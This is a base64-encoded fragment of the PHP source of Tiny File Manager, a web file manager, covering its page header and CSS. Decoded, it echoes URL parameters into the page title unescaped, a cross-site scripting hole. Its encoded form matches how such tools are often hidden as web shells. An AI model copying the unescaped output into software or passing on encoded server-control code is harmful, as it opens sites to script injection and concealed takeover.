Glja3lfbmF2YmFyID8gJ25hdmJhci1maXhlZCcgOiAnbmF2YmFyLW5vcm1hbCc7Cj8+CiAgICA8IURPQ1RZUEUgaHRtbD4KICAgIDxodG1sIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4KICAgICAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iV2ViIGJhc2VkIEZpbGUgTWFuYWdlciBpbiBQSFAsIE1hbmFnZSB5b3VyIGZpbGVzIGVmZmljaWVudGx5IGFuZCBlYXNpbHkgd2l0aCBUaW55IEZpbGUgTWFuYWdlciI+CiAgICAgICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJDQ1AgUHJvZ3JhbW1lcnMiPgogICAgICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgICAgIDxtZXRhIG5hbWU9Imdvb2dsZWJvdCIgY29udGVudD0ibm9pbmRleCI+CiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHsKICAgICAgICAgICAgZWNobyAnPGxpbmsgcmVsPSJpY29uIiBocmVmPSInIC4gZm1fZW5jKCRmYXZpY29uX3BhdGgpIC4gJyIgdHlwZT0iaW1hZ2UvcG5nIj4nOwogICAgICAgIH0gPz4KICAgICAgICA8dGl0bGU+PD9waHAgZWNobyBmbV9lbmMoQVBQX1RJVExFKSA/PiB8IDw/cGhwIGVjaG8gKGlzc2V0KCRfR0VUWyd2aWV3J10pID8gJF9HRVRbJ3ZpZXcnXSA6ICgoaXNzZXQoJF9HRVRbJ2VkaXQnXSkpID8gJF9HRVRbJ2VkaXQnXSA6ICJIM0siKSk7ID8+PC90aXRsZT4KICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgncHJlLWpzZGVsaXZyJyk7ID8+CiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+CiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1ib290c3RyYXAnKTsgPz4KICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWZvbnQtYXdlc29tZScpOyA/PgogICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PgogICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWhpZ2hsaWdodGpzJyk7ID8+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgICB3aW5kb3cuY3NyZiA9ICc8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4nOwogICAgICAgIDwvc2NyaXB0PgogICAgICAgIDxzdHlsZT4KICAgICAgICAgICAgaHRtbCB7CiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlOwogICAgICAgICAgICAgICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7CiAgICAgICAgICAgICAgICB0ZXh0LXJlbmRlcmluZzogb3B0aW1pemVMZWdpYmlsaXR5OwogICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICAgICAgc2Nyb2xsLWJlaGF2aW9yOiBzbW9vdGg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICosCiAgICAgICAgICAgICo6OmJlZm9yZSwKICAgICAgICAgICAgKjo6YWZ0ZXIgewogICAgICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgYm9keSB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7CiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNGN0Y3Rjc7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGJvZHkubmF2YmFyLWZpeGVkIHsKICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDU1cHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGEsCiAgICAgICAgICAgIGE6aG92ZXIsCiAgICAgICAgICAgIGE6dmlzaXRlZCwKICAgICAgICAgICAgYTpmb2N1cyB7CiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmZpbGVuYW1lLAogICAgICAgICAgICB0ZCwKICAgICAgICAgICAgdGggewogICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcAogICAgICAgICAgICB9CgogICAgICAgICAgICAubmF2YmFyLWJyYW5kIHsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICB9CgogICAgICAgICAgICAubmF2LWl0ZW0uYXZhdGFyIGEgewogICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciAuZHJvcGRvd24tbWVudSBhIHsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI3NlYXJjaC1hZGRvbiB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQtd2lkdGg6IDA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5icmwtMCB7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwOwogICAgICAgICAgICAgICAgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDsKICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5icnItMCB7CiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDsKICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICAuYnJlYWQtY3J1bWIgewogICAgICAgICAgICAgICAgY29sb3I6ICNjY2NjY2M7CiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIHsKICAgICAgICAgICAgICAgIHRyYW5zaXRpb246IHRyYW5zZm9ybSAuMjVzIGN1YmljLWJlemllcigwLjQsIDAuNSwgMCwgMSksIHdpZHRoIDBzIC4yNXM7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIC5maWxlbmFtZSBhIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjMjIyMjIyOwogICAgICAgICAgICB9CgogICAgICAgICAgICAudGFibGUgdGQsCiAgICAgICAgICAgIC50YWJsZSB0aCB7CiAgICAgICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC50YWJsZSAuY3VzdG9tLWNoZWNrYm94LXRkIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gsCiAgICAgICAgICAgIC50YWJsZSAuY3VzdG9tLWNoZWNrYm94LWhlYWRlciAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94IHsKICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCwKICAgICAgICAgICAgLnRhYmxlLXNtIHRoIHsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IC40cmVtOwogICAgICAgICAgICB9CgogICAgICAgICAgICAudGFibGUtYm9yZGVyZWQgdGQsCiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7CiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZjFmMWYxOwogICAgICAgICAgICB9CgogICAgICAgICAgICAuaGlkZGVuIHsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcHJlLndpdGgtaGxqcyB7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcHJlLndpdGgtaGxqcyBjb2RlIHsKICAgICAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgICAgIGJvcmRlcjogMDsKICAgICAgICAgICAgICAgIG92ZXJmbG93OiBzY3JvbGw7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGNvZGUubWF4aGVpZ2h0LAogICAgICAgICAgICBwcmUubWF4aGVpZ2h0IHsKICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtOwogICAgICAgICAgICAgICAgbWFyZ2luOiAwIDRweDsKICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7CiAgICAgICAgICAgICAgICBjb2xvcjogI2VjZWNlYwogICAgICAgICAgICB9CgogICAgICAgICAgICAuZmEuZmEtaG9tZSB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuM2VtOwogICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbQogICAgICAgICAgICB9CgogICAgICAgICAgICAucGF0aCB7CiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZvcm0uZHJvcHpvbmUgewogICAgICAgICAgICAgICAgbWluLWhlaWdodDogMjAwcHg7CiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjsKICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiA2cmVtOwogICAgICAgICAgICB9CgogICAgICAgICAgICAucmlnaHQgewogICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogcmlnaHQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmNlbnRlciwKICAgICAgICAgICAgLmNsb3NlLAogICAgICAgICAgICAubG9naW4tZm9ybSwKICAgICAgICAgICAgLnByZXZpZXctaW1nLWNvbnRhaW5lciB7CiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXIKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLm1lc3NhZ2UgewogICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDsKICAgICAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47CiAgICAgICAgICAgICAgICBjb2xvcjogZ3JlZW4KICAgICAgICAgICAgfQoKICAgICAgICAgICAgLm1lc3NhZ2UuZXJyb3IgewogICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7CiAgICAgICAgICAgICAgICBjb2xvcjogcmVkCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogb3JhbmdlOwogICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZQogICAgICAgICAgICB9CgogICAgICAgICAgICAucHJldmlldy1pbWcgewogICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgbWF4LWhlaWdodDogODB2aDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQUlBQUFDUWtXZzJBQUFBS2tsRVFWUjQybUw1Ly84L0F6YncrUEZqck9KTURDU0NVUTNFQUJaYzRTMHJLenNhU3ZUVEFCQmdBTXlmQ01zWTRCOWlBQUFBQUVsRlRrU3VRbUNDKTsKICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1pbgogICAgICAgICAgICB9CgogICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF0gewogICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZQogICAgICAgICAgICB9CgogICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcgewogICAgICAgICAgICAgICAgbWF4LXdpZHRoOiBub25lOwogICAgICAgICAgICAgICAgbWF4LWhlaWdodDogbm9uZTsKICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDFlbTsKICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiA1cHg7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxOwogICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAzcHggNHB4OwogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAucHJldmlldy12aWRlbyB7CiAgICAgICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7CiAgICAgICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogNjIuNSU7CiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5wcmV2aWV3LXZpZGVvIHZpZGVvIHsKICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDAKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgewogICAgICAgICAgICAgICAgYm9yZGVyOiAwOwogICAgICAgICAgICAgICAgd2lkdGg6IGF1dG8KICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGQsCiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRoIHsKICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDsKICAgICAgICAgICAgICAgIGJvcmRlcjogMDsKICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcgogICAgICAgICAgICB9CgogICAgICAgICAgICAuY29tcGFjdC10YWJsZSB0cjpob3ZlciB0ZCB7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5maWxlbmFtZSB7CiAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDQyMHB4OwogICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5icmVhay13b3JkIHsKICAgICAgICAgICAgICAgIHdvcmQtd3JhcDogYnJlYWstd29yZDsKICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAzMHB4CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5icmVhay13b3JkLmZsb2F0LWxlZnQgYSB7CiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZAogICAgICAgICAgICB9CgogICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQgewogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMzBweDsKICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZQogICAgICAgICAgICB9CgogICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQ+YSB7CiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07CiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDRweAogICAgICAgICAgICB9CgogICAgICAgICAgICAjZWRpdG9yIHsKICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgICAgIHJpZ2h0OiAxNXB4OwogICAgICAgICAgICAgICAgdG9wOiAxMDBweDsKICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDsKICAgICAgICAgICAgICAgIGxlZnQ6IDE1cHgKICAgICAgICAgICAgfQoKICAgICAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6NDgxcHgpIHsKICAgICAgICAgICAgICAgICNlZGl0b3IgewogICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNub3JtYWwtZWRpdG9yIHsKICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4OwogICAgICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5idG4tMiB7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogc21hbGw7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGxpLmZpbGU6YmVmb3JlLAogICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHsKICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHgvMSBGb250QXdlc29tZTsKICAgICAgICAgICAgICAgIGNvbnRlbnQ6ICJcZjAxNiI7CiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweAogICAgICAgICAgICB9CgogICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHsKICAgICAgICAgICAgICAgIGNvbnRlbnQ6ICJcZjExNCIKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyB7CiAgICAgICAgICAgICAgICBjb2xvcjogIzAxNTdiMwogICAgICAgICAgICB9CgogICAgICAgICAgICBpLmZhLmZhLXBpY3R1cmUtbyB7CiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YQogICAgICAgICAgICB9CgogICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZGE3ZDdkCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5idG4tMiBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHsKICAgICAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGkuZmEuZmEtY3NzMyB7CiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMAogICAgICAgICAgICB9CgogICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA3YmZmCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGkuZmEuZmEtY29kZSB7CiAgICAgICAgICAgICAgICBjb2xvcjogI2NjNGI0YwogICAgICAgICAgICB9CgogICAgICAgICAgICBpLmZhLmZhLWZpbGUtdGV4dC1vIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUgewogICAgICAgICAgICAgICAgY29sb3I6ICNkNzVlNzIKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaS5mYS5mYS1maWxlLWV4Y2VsLW8gewogICAgICAgICAgICAgICAgY29sb3I6ICMwOWM1NWQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaS5mYS5mYS1maWxlLXBvd2VycG9pbnQtbyB7CiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZQogICAgICAgICAgICB9CgogICAgICAgICAgICBpLmdvLWJhY2sgewogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTsKICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA3YmZmOwogICAgICAgICAgICB9CgogICAgICAgICAgICAubWFpbi1uYXYgewogICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07CiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA1cHggMCByZ2JhKDAsIDAsIDAsIC4xNCksIDAgMXB4IDEwcHggMCByZ2JhKDAsIDAsIDAsIC4xMiksIDAgMnB4IDRweCAtMXB4IHJnYmEoMCwgMCwgMCwgLjIpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5kYXRhVGFibGVzX2ZpbHRlciB7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmcgewogICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlciByaWdodDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FRQUFBRFlXZjVIQUFBQWtFbEVRVlFvejdYUU1RNUFRQkNGNGRXUVNKeEM1d3dheDFDcTFlN0JBZHhENVNMK1RxL1FDTTFvTmlKaWR3b3gwMzU1bVhuRy9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7CiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJNQUFBQVRDQVlBQUFCeVVEYk1BQUFBWjBsRVFWUTR5Mk5nR0xLZ3F1RXVGeEJQQUdJMmFoaFdDc1MvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHsKICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaVWxFUVZRNHkyTmdHQVdqWUJTZ2dhcUd1NUZBL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiBub25lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAuZm9vdGVyLWFjdGlvbiBsaSB7CiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAuYXBwLXYtdGl0bGUgewogICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4OwogICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDMwMDsKICAgICAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAtLjVweDsKICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7CiAgICAgICAgICAgICAgICBib3JkZXItdG9wOiAxcHggZGFzaGVkICM4YzhiOGI7CiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggZGFzaGVkICNmZmY7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzbmFja2JhciB7CiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47CiAgICAgICAgICAgICAgICBtaW4td2lkdGg6IDI1MHB4OwogICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC0xMjVweDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7CiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE2cHg7CiAgICAgICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgICAgICB6LWluZGV4OiAxOwogICAgICAgICAgICAgICAgbGVmdDogNTAlOwogICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4OwogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7CiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiB2aXNpYmxlOwogICAgICAgICAgICAgICAgLXdlYmtpdC1hbmltYXRpb246IGZhZGVpbiAwLjVzLCBmYWRlb3V0IDAuNXMgMi41czsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzOwogICAgICAgICAgICB9CgogICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHs